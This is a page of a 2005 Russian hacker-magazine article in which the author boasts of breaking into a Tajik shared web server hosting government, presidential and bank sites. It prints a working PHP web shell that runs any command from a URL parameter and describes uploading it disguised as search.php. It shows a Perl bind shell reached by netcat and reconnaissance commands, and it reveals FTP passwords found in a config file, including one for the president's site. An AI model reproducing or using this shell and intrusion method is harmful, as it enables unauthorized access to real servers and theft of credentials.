Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #84, ДЕКАБРЬ 2005 г.

Точикистонский косяк

MorpheuS (uin: 371200)

Хакер, номер #084, стр. 084-050-4


<?

echo "<pre>";

passthru($_GET['cmd']);

echo "</pre>";

?>

Выбрав неприметную директорию на сервере, я залил свой скрипт под именем search.php, чтобы тот не сильно выделялся среди других файлов. Сюда же я залил и bind.pl - бинд-шелл на перле со стандартными настройками бинда на 32767-ом порту. Забиндив для себя порт, со своего веб-шелла командой perl bind.pl, я приконнектился netcat'ом к серву:

nc.exe www.nbt.tj 32767

Играем дальше. Первым делом я узнал, кто еще пользуется системой в данный момент, и последние подключения:

who;

last -10;

К счастью, админов на месте не было, и я работал с машиной один. Дальше я выяснил свои права и операционку, установленную на сервере:

id; uname -a;

Оказалось, что я работал из-под юзера apache, а сервачок крутился под управлением gentoo c ядром 2.6.11. К сожалению, рута здесь взять не получится, хотя чего еще я ожидал здесь увидеть? Оставшись без рутового шелла, я принялся исследовать сервер дальше. Просмотрев папку htdocs, я с удивлением обнаружил, что на этом сервачке хостится еще около 70 сайтов, среди которых были замечены проекты Министерства Иностранных Дел, Министерства Финансов, Сайт Президента, еще несколько банков, интернет-провайдер, телевидение и газета. В общем, весь Таджикистанский хай-тек поместился на одном сервере, который из-за админов-наркоманов вскоре позволил мне получить полный доступ ко всем сайтам, включая ресурс Президента республики Точикистон :). Я вот до сих пор сдерживаю себя от того, чтобы поменять фотографию Президента на свою :).

[по порядку]

Однако не будем забегать вперед, расскажу все по порядку. Размышляя над тем, как лихо мне удалось получить доступ к FTP, я пришел к выводу, что для каждого сайта сделана своя учетная запись и каждому ресурсу позволено юзать FTP. Вспомнив логи nmap, я узнал, что на серве установлен ProFTPD. Я решил найти конфиги этого сервиса и посмотреть, какие учетные записи там есть. Для этого я выполнил следующую команду:

# find / -type f -name "proftpd*";

Среди найденных файлов, есть то, что мне нужно, - это файлик /etc/proftpd/proftpd.conf. Просмотрев его, я просто обомлел. Никогда еще такого не видел. В заголовке каждого блочка с описанием ftp-пользователя в комментарии был прописан ПАРОЛЬ этого юзера! Например, описание логина с говорящим названием president.tj выглядело так:

# president.tj

# p:SomonTj

User president

Group users

MaxClients 10

AnonRequirePassword on

RequireValidShell off

AllowOverwrite on

Получив доступ ко всем ftp-аккаунта на сервере, я решил продолжить свои изыскания. Покопавшись в различных скриптах, я выудил несколько mysql-аккаунтов. Однако, вопреки ожиданиям, в базах данных я не нашел никаких сведений о маршрутах поставок гашиша, оружия и перевозки иммигрантов; все, что было в базе, - это тексты публикаций и прочий мусор. Хотя в БД одного банка, я обнаружил нечто похожее на систему авторизации. На их сайте же, я прочитал, что они вскоре планируют открыть сервис онлайн-банкинга. Ну вот, сервис еще не открыли, а доступ уже есть :).

Назад на стр. 084-050-3  Содержание  Вперед на стр. 084-050-5